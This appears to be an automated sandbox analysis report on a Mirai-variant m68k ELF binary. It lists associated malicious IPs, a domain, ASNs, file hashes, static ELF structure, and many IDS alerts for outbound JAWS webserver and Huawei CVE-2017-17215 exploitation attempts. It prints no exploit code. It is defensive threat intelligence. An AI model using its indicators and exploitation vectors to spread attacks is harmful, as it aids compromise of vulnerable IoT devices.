Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
156.38.239.182	arm	Get hash	malicious	Gafgyt Mirai	Browse
41.6.232.113	mpsl.elf	Get hash	malicious	Mirai	Browse
	lok.arm5.elf	Get hash	malicious	Mirai	Browse
	HvM9U2PXj8	Get hash	malicious	Gafgyt Mirai	Browse
197.240.131.142	yP1n2CG3Da.elf	Get hash	malicious	Mirai	Browse
	E6Wre8EnAM.elf	Get hash	malicious	Mirai	Browse
	5UJyp59w4f.elf	Get hash	malicious	Mirai	Browse
	SecuriteInfo.com.Linux.Siggen.9999.19234.20477.elf	Get hash	malicious	Mirai	Browse
41.72.33.65	l8L7IWRZSg.elf	Get hash	malicious	Mirai	Browse
41.72.33.65	S6DNzkh376	Get hash	malicious	Unknown	Browse
41.45.223.131	tsh4.elf	Get hash	malicious	Mirai	Browse
	PnxY5ajH37.elf	Get hash	malicious	Mirai, Moobot	Browse
	x86	Get hash	malicious	Mirai	Browse
	Tsunami.arm7	Get hash	malicious	Mirai	Browse
	YF3UL6vXmQ	Get hash	malicious	Mirai	Browse
41.68.96.130	tmips.elf	Get hash	malicious	Mirai	Browse
	T0UouPkHIQ.elf	Get hash	malicious	Mirai	Browse
	GPI5YcmLZH.elf	Get hash	malicious	Mirai, Moobot	Browse
	jklarm7.elf	Get hash	malicious	Mirai	Browse
	bk.arm5-20220929-1806.elf	Get hash	malicious	Mirai	Browse
	2O02FdB4dp	Get hash	malicious	Mirai	Browse
	arm	Get hash	malicious	Mirai	Browse
	arm	Get hash	malicious	Mirai	Browse
	u3zwSREEQP	Get hash	malicious	Unknown	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
tojaubec.shop	z0r0.spc.elf	Get hash	malicious	Mirai	Browse	92.118.56.203
	z0r0.x86.elf	Get hash	malicious	Mirai	Browse	92.118.56.203
	z0r0.sh4.elf	Get hash	malicious	Mirai	Browse	92.118.56.203

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
VODACOM-ZA	z0r0.spc.elf	Get hash	malicious	Mirai	Browse	156.21.96.239
	z0r0.x86.elf	Get hash	malicious	Mirai	Browse	156.138.236.141
	z0r0.i686.elf	Get hash	malicious	Mirai	Browse	41.19.112.100
	4.elf	Get hash	malicious	Unknown	Browse	41.13.213.203
	3.elf	Get hash	malicious	Unknown	Browse	41.6.20.212
	2.elf	Get hash	malicious	Unknown	Browse	41.8.235.228
	1.elf	Get hash	malicious	Unknown	Browse	41.15.44.25
	3.elf	Get hash	malicious	Unknown	Browse	41.29.15.7
	armv7l.elf	Get hash	malicious	Unknown	Browse	156.140.72.99
	4.elf	Get hash	malicious	Unknown	Browse	41.1.212.20
TOPNETTN	z0r0.i686.elf	Get hash	malicious	Mirai	Browse	197.0.78.206
	4.elf	Get hash	malicious	Unknown	Browse	197.0.78.229
	3.elf	Get hash	malicious	Unknown	Browse	197.238.30.174
	2.elf	Get hash	malicious	Unknown	Browse	41.226.155.30
	1.elf	Get hash	malicious	Unknown	Browse	197.240.229.32
	3.elf	Get hash	malicious	Unknown	Browse	41.230.163.212
	2.elf	Get hash	malicious	Unknown	Browse	197.238.30.149
	1.elf	Get hash	malicious	Unknown	Browse	197.240.218.242
	1.elf	Get hash	malicious	Unknown	Browse	197.2.84.109
	31.13.224.14-x86-2025-01-03T22_14_18.elf	Get hash	malicious	Mirai	Browse	41.230.97.184
ASN-TELSTRATelstraCorporationLtdAU	z0r0.i686.elf	Get hash	malicious	Mirai	Browse	121.209.19.159
	armv6l.elf	Get hash	malicious	Unknown	Browse	1.125.187.178
	armv5l.elf	Get hash	malicious	Unknown	Browse	123.210.106.4
	fuckunix.x86.elf	Get hash	malicious	Mirai	Browse	101.175.219.224
	Fantazy.arm7.elf	Get hash	malicious	Mirai	Browse	121.214.230.201
	Fantazy.spc.elf	Get hash	malicious	Unknown	Browse	203.50.232.96
	armv6l.elf	Get hash	malicious	Mirai	Browse	120.153.252.236
	4.elf	Get hash	malicious	Unknown	Browse	124.187.164.207
	DEMONS.spc.elf	Get hash	malicious	Unknown	Browse	144.130.17.135
	Hilix.ppc.elf	Get hash	malicious	Mirai	Browse	123.209.106.51
xneeloZA	z0r0.x86.elf	Get hash	malicious	Mirai	Browse	41.203.15.63
	1.elf	Get hash	malicious	Unknown	Browse	197.221.56.220
	1.elf	Get hash	malicious	Unknown	Browse	41.204.199.5
	1.elf	Get hash	malicious	Unknown	Browse	197.221.56.202
	1.elf	Get hash	malicious	Unknown	Browse	197.221.56.205
	2.elf	Get hash	malicious	Unknown	Browse	197.221.35.1
	vcimanagement.armv7l.elf	Get hash	malicious	Gafgyt, Mirai	Browse	156.38.239.155
	Memo - Impairment Test 2023 MEX010B (5).js	Get hash	malicious	Unknown	Browse	197.189.243.212
	uEhN67huiV.dll	Get hash	malicious	Unknown	Browse	160.119.253.103
	1.elf	Get hash	malicious	Unknown	Browse	129.232.142.109

File type:	ELF 32-bit MSB executable, Motorola m68k, 68020, version 1 (SYSV), statically linked, stripped
Entropy (8bit):	6.415295921219771
TrID:	ELF Executable and Linkable format (generic) (4004/1) 100.00%
File name:	z0r0.m68k.elf
File size:	73'008 bytes
MD5:	bda79d840456d1f20011c079dedbc03c
SHA1:	6c317ebc273bd24495cad078188acaaa8a7ea135
SHA256:	0238b4523a250517d9392e65fef42570986e9e6a53c5fc956e7dcf423e84b0f7
SHA512:	edbd4fae6c06f97edea0f8e5cc7463d6d245094fdadd03bf58cdcdd64257814aa9ebbea936e79bdcc7849ec700bde84fbdf1541524a65b504c3ff8aac4700e8b
SSDEEP:	1536:RCRVTHBUV0DWWFcS5ND2n2R+EkbrP2zLFrmrcRUzWg+o0pxGNC/8cz/I:RtV0yWFH5ND2n2R+32zJvWJiGcC
TLSH:	B4635CD5B4009EBCF95BDABA81164A09F92132005FA30F2FE277FC976D630958E1AC47
File Content Preview:	.ELF.......................D...4.........4. ...(.......................4...4...... ........8..98..98...(.......... .dt.Q............................NV..a....da.....N^NuNV..J9..;`f>"y..9P QJ.g.X.#...9PN."y..9P QJ.f.A.....J.g.Hy...4N.X.......;`N^NuNV..N^NuN

Static ELF Info

ELF header
Class:	ELF32
Data:	2's complement, big endian
Version:	1 (current)
Machine:	MC68000
Version Number:	0x1
Type:	EXEC (Executable file)
OS/ABI:	UNIX - System V
ABI Version:	0
Entry Point Address:	0x80000144
Flags:	0x0
ELF Header Size:	52
Program Header Offset:	52
Program Header Size:	32
Number of Program Headers:	3
Section Header Offset:	72608
Section Header Size:	40
Number of Section Headers:	10
Header String Table Index:	9

Sections

Name	Type	Address	Offset	Size	EntSize	Flags	Flags Description	Align
	NULL	0x0	0x0	0x0	0x0	0x0		0
.init	PROGBITS	0x80000094	0x94	0x14	0x0	0x6	AX	2
.text	PROGBITS	0x800000a8	0xa8	0x10516	0x0	0x6	AX	4
.fini	PROGBITS	0x800105be	0x105be	0xe	0x0	0x6	AX	2
.rodata	PROGBITS	0x800105cc	0x105cc	0x1368	0x0	0x2	A	2
.ctors	PROGBITS	0x80013938	0x11938	0x8	0x0	0x3	WA	4
.dtors	PROGBITS	0x80013940	0x11940	0x8	0x0	0x3	WA	4
.data	PROGBITS	0x8001394c	0x1194c	0x214	0x0	0x3	WA	4
.bss	NOBITS	0x80013b60	0x11b60	0x3c4	0x0	0x3	WA	4
.shstrtab	STRTAB	0x0	0x11b60	0x3e	0x0	0x0		1

Program Segments

Type	Offset	Virtual Address	Physical Address	File Size	Memory Size	Entropy	Flags	Flags Description	Align	Section Mappings
LOAD	0x0	0x80000000	0x80000000	0x11934	0x11934	6.4422	0x5	R E	0x2000	.init .text .fini .rodata
LOAD	0x11938	0x80013938	0x80013938	0x228	0x5ec	3.0660	0x6	RW	0x2000	.ctors .dtors .data .bss
GNU_STACK	0x0	0x0	0x0	0x0	0x0	0.0000	0x6	RW	0x4

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-05T14:34:55.953354+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	41778	120.75.215.22	80	TCP
2025-01-05T14:34:55.953354+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	41778	120.75.215.22	80	TCP
2025-01-05T14:34:56.278392+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	35082	23.224.32.45	80	TCP
2025-01-05T14:34:56.278392+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	35082	23.224.32.45	80	TCP
2025-01-05T14:34:57.597319+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	43026	41.36.170.30	37215	TCP
2025-01-05T14:34:58.573590+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	40822	20.206.193.222	80	TCP
2025-01-05T14:34:58.573590+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	40822	20.206.193.222	80	TCP
2025-01-05T14:34:59.276145+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	60980	149.218.144.175	80	TCP
2025-01-05T14:34:59.276145+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	60980	149.218.144.175	80	TCP
2025-01-05T14:34:59.284135+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	53112	107.209.39.169	80	TCP
2025-01-05T14:34:59.284135+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	53112	107.209.39.169	80	TCP
2025-01-05T14:35:02.690778+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	34820	156.232.11.104	37215	TCP
2025-01-05T14:35:02.964667+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	37194	118.159.189.29	80	TCP
2025-01-05T14:35:02.964667+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	37194	118.159.189.29	80	TCP
2025-01-05T14:35:05.006053+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	53856	184.27.73.98	80	TCP
2025-01-05T14:35:05.006053+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	53856	184.27.73.98	80	TCP
2025-01-05T14:35:05.612136+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	59770	23.174.63.21	80	TCP
2025-01-05T14:35:05.612136+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	59770	23.174.63.21	80	TCP
2025-01-05T14:35:05.968339+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	60546	88.151.11.104	80	TCP
2025-01-05T14:35:05.968339+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	60546	88.151.11.104	80	TCP
2025-01-05T14:35:06.322526+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	53848	197.7.134.150	37215	TCP
2025-01-05T14:35:07.448080+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	49922	41.175.131.184	37215	TCP
2025-01-05T14:35:07.448092+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	39564	198.200.38.184	80	TCP
2025-01-05T14:35:07.448092+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	39564	198.200.38.184	80	TCP
2025-01-05T14:35:07.540926+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	54916	197.128.24.166	37215	TCP
2025-01-05T14:35:09.621461+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	49540	41.220.233.210	37215	TCP
2025-01-05T14:35:10.163862+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	37994	156.229.55.108	37215	TCP
2025-01-05T14:35:10.672211+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	49130	156.242.224.209	37215	TCP
2025-01-05T14:35:12.466925+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	53556	38.199.147.182	80	TCP
2025-01-05T14:35:12.466925+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	53556	38.199.147.182	80	TCP
2025-01-05T14:35:14.105269+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	49940	156.108.75.55	37215	TCP
2025-01-05T14:35:14.120942+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	44044	156.64.87.47	37215	TCP
2025-01-05T14:35:14.120943+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	56562	41.182.70.62	37215	TCP
2025-01-05T14:35:14.137302+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	40130	197.132.40.247	37215	TCP
2025-01-05T14:35:14.137305+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	38054	102.228.238.136	80	TCP
2025-01-05T14:35:14.137305+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	38054	102.228.238.136	80	TCP
2025-01-05T14:35:14.142142+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	59402	197.199.121.75	37215	TCP
2025-01-05T14:35:14.173369+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	56562	41.214.12.69	37215	TCP
2025-01-05T14:35:14.183459+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	57124	41.72.218.62	37215	TCP
2025-01-05T14:35:14.183462+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	40792	19.186.177.83	80	TCP
2025-01-05T14:35:14.183462+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	40792	19.186.177.83	80	TCP
2025-01-05T14:35:14.185065+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	35762	197.112.77.190	37215	TCP
2025-01-05T14:35:14.187047+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	51812	169.129.160.250	80	TCP
2025-01-05T14:35:14.187047+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	51812	169.129.160.250	80	TCP
2025-01-05T14:35:14.230309+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	50644	167.80.67.59	80	TCP
2025-01-05T14:35:14.230309+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	50644	167.80.67.59	80	TCP
2025-01-05T14:35:14.231855+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	46086	160.116.38.154	80	TCP
2025-01-05T14:35:14.231855+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	46086	160.116.38.154	80	TCP
2025-01-05T14:35:14.233956+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	45200	197.49.199.148	37215	TCP
2025-01-05T14:35:14.235829+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	35934	197.169.104.42	37215	TCP
2025-01-05T14:35:14.245681+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	47258	191.71.162.219	80	TCP
2025-01-05T14:35:14.245681+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	47258	191.71.162.219	80	TCP
2025-01-05T14:35:14.246427+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	47552	156.141.101.219	37215	TCP
2025-01-05T14:35:14.261454+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	54932	196.192.115.255	80	TCP
2025-01-05T14:35:14.261454+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	54932	196.192.115.255	80	TCP
2025-01-05T14:35:14.277036+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	46538	156.229.176.50	37215	TCP
2025-01-05T14:35:14.292630+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	57274	154.179.240.225	80	TCP
2025-01-05T14:35:14.292630+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	57274	154.179.240.225	80	TCP
2025-01-05T14:35:14.294421+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	49294	172.222.47.240	80	TCP
2025-01-05T14:35:14.294421+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	49294	172.222.47.240	80	TCP
2025-01-05T14:35:14.296502+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	44110	156.58.77.185	37215	TCP
2025-01-05T14:35:14.310144+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	39302	41.56.98.126	37215	TCP
2025-01-05T14:35:14.345172+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	38462	41.86.194.51	37215	TCP
2025-01-05T14:35:14.358957+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	51950	156.139.201.209	37215	TCP
2025-01-05T14:35:14.370851+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	50742	186.171.85.18	80	TCP
2025-01-05T14:35:14.370851+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	50742	186.171.85.18	80	TCP
2025-01-05T14:35:14.372513+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	47698	125.253.31.3	80	TCP
2025-01-05T14:35:14.372513+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	47698	125.253.31.3	80	TCP
2025-01-05T14:35:14.439102+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	51310	86.6.121.248	80	TCP
2025-01-05T14:35:14.439102+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	51310	86.6.121.248	80	TCP
2025-01-05T14:35:15.105310+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	46624	197.88.39.234	37215	TCP
2025-01-05T14:35:15.105432+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	50230	197.10.74.211	37215	TCP
2025-01-05T14:35:15.105436+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	55356	197.45.188.115	37215	TCP
2025-01-05T14:35:15.105919+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	40850	156.153.54.149	37215	TCP
2025-01-05T14:35:15.106021+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	43754	75.150.125.115	80	TCP
2025-01-05T14:35:15.106021+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	43754	75.150.125.115	80	TCP
2025-01-05T14:35:15.106027+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	39660	197.236.132.149	37215	TCP
2025-01-05T14:35:15.108268+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	43238	156.211.32.141	37215	TCP
2025-01-05T14:35:15.314744+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	55374	122.134.154.13	80	TCP
2025-01-05T14:35:15.314744+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	55374	122.134.154.13	80	TCP
2025-01-05T14:35:15.314748+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	52564	197.184.139.233	37215	TCP
2025-01-05T14:35:15.314748+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	35014	41.126.221.108	37215	TCP
2025-01-05T14:35:15.314753+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	34234	105.76.238.137	80	TCP
2025-01-05T14:35:15.314753+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	34234	105.76.238.137	80	TCP
2025-01-05T14:35:15.314753+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	44760	67.218.1.210	80	TCP
2025-01-05T14:35:15.314753+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	44760	67.218.1.210	80	TCP
2025-01-05T14:35:15.314754+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	35174	148.26.74.211	80	TCP
2025-01-05T14:35:15.314754+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	35174	148.26.74.211	80	TCP
2025-01-05T14:35:15.314760+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	33226	156.95.107.101	37215	TCP
2025-01-05T14:35:15.314764+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	40204	197.87.222.2	37215	TCP
2025-01-05T14:35:15.314780+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	51538	41.177.145.25	37215	TCP
2025-01-05T14:35:15.314802+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	47658	132.86.162.206	80	TCP
2025-01-05T14:35:15.314802+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	47658	132.86.162.206	80	TCP
2025-01-05T14:35:15.314829+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	55152	41.177.65.72	37215	TCP
2025-01-05T14:35:15.314829+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	58906	156.195.230.243	37215	TCP
2025-01-05T14:35:15.314829+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	37312	197.54.31.40	37215	TCP
2025-01-05T14:35:15.314857+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	51530	197.59.249.211	37215	TCP
2025-01-05T14:35:15.314858+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	48552	197.25.242.105	37215	TCP
2025-01-05T14:35:15.314870+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	49584	197.222.141.137	37215	TCP
2025-01-05T14:35:15.314875+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	48668	156.59.131.59	37215	TCP
2025-01-05T14:35:15.314890+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	42640	2.208.165.87	80	TCP
2025-01-05T14:35:15.314890+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	42640	2.208.165.87	80	TCP
2025-01-05T14:35:15.314897+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	57548	91.43.249.211	80	TCP
2025-01-05T14:35:15.314897+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	57548	91.43.249.211	80	TCP
2025-01-05T14:35:15.314910+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	33532	41.146.88.94	37215	TCP
2025-01-05T14:35:15.314911+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	33486	156.219.91.159	37215	TCP
2025-01-05T14:35:15.314931+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	47904	41.224.51.164	37215	TCP
2025-01-05T14:35:15.314943+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	59136	197.12.237.90	37215	TCP
2025-01-05T14:35:15.314943+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	58414	165.35.35.169	80	TCP
2025-01-05T14:35:15.314943+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	58414	165.35.35.169	80	TCP
2025-01-05T14:35:15.314963+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	50372	156.218.187.106	37215	TCP
2025-01-05T14:35:15.314977+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	53592	156.224.24.81	37215	TCP
2025-01-05T14:35:15.314984+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	45484	41.182.67.227	37215	TCP
2025-01-05T14:35:15.314992+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	51856	183.180.216.81	80	TCP
2025-01-05T14:35:15.314992+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	51856	183.180.216.81	80	TCP
2025-01-05T14:35:15.315012+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	43762	41.200.188.11	37215	TCP
2025-01-05T14:35:15.315021+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	36918	41.172.233.144	37215	TCP
2025-01-05T14:35:15.315038+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	48586	60.208.214.47	80	TCP
2025-01-05T14:35:15.315038+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	48586	60.208.214.47	80	TCP
2025-01-05T14:35:15.315057+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	35080	156.233.138.121	37215	TCP
2025-01-05T14:35:15.315057+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	41010	70.180.28.131	80	TCP
2025-01-05T14:35:15.315057+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	41010	70.180.28.131	80	TCP
2025-01-05T14:35:15.315062+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	44434	156.20.37.112	37215	TCP
2025-01-05T14:35:15.315065+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	59012	157.253.86.180	80	TCP
2025-01-05T14:35:15.315065+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	59012	157.253.86.180	80	TCP
2025-01-05T14:35:15.315067+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	48322	197.125.8.61	37215	TCP
2025-01-05T14:35:15.315078+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	41266	41.148.147.70	37215	TCP
2025-01-05T14:35:15.315097+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	37894	41.24.113.224	37215	TCP
2025-01-05T14:35:15.315102+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	40042	166.131.190.80	80	TCP
